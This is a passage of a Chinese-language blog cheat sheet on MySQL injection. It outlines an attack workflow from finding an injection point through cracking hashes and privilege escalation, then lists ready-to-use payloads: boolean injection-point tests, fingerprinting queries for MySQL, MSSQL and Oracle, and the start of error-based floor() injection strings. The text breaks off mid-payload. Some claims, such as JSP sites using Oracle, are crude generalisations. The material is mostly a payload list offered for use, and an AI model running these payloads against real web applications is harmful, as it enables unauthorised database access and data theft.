MySQL注入--Payload
Mirror王宇阳
2019-10-22
SQL的注入流程一般如下:
1、判断是否有SQL注入漏洞(判断注入点)
2、判断 数据库的系统架构、数据库名、web应用类型等3、获取数据库信息
4、加密信息破解
5、进行提权
前篇
注入漏洞分类:
数字型注入:
当输入(注入)的参数为整数,则可以认为该漏洞注入点为数字型注入;
http://192.168.2.172/index.php/?id=8
在后端中SQL语句构成如下:
select * from user where id=8;
字符型注入:
当输入(注入)的参数为字符/串时可以认定为是字符型注入漏洞
其它注入:
POST注入:注入字段在POST数据中
Cookie注入:注入字段在Cookie数据中
延迟注入:使用数据库延迟特性进行注入
搜索注入:在搜索栏中利用恶意代码进行注入
base64注入:注入字符串经过base64加密
判断注入点
' or 1=1 #
and 1=1 #
and '1'='1' #
1') and ('1=1') #
url/?id=1/1
url/?id=1/0
判断数据库系统类型
PHP搭建的Web应用后端为MySQL
JSP搭建的Web应用后端为Oracle
ASP搭建的Web应用后端为MSSQL
MySQL
字符串连接判断:
?id=1 and '1'+'1' = '11'
?id=1 and concat('1','1')='11'
判断数据库的系统库表:
' and (select count(*) from information_schema.tables)>0 and 1=1
MSSQL
默认变量:
'?; select @@servername--+
字符串连接判断:
?id=1 and '1'+'1'='11'
数据库系统表判断:
' and (select count(*) from sysobjects)>0 and 1=1
Oracle
系统表判断:
' and (select count(*) from sys.user_tables)>0 and 1=1
字符串连接判断:
and '1'||'1' = '11'
and concat('1','1')='11'
MySQL注入姿势payload
报错注入
语句执行后返回异常信息,这些异常信息包含了重要数据
floor报错注入:
floor
和group by
配合使用group by
的key唯一性和编码顺序导致二次执行产生不同大的key
' and select count(*) from table group by floor(rand(0))*2 #
union select 1,count(*),concat(0x7e,0x7e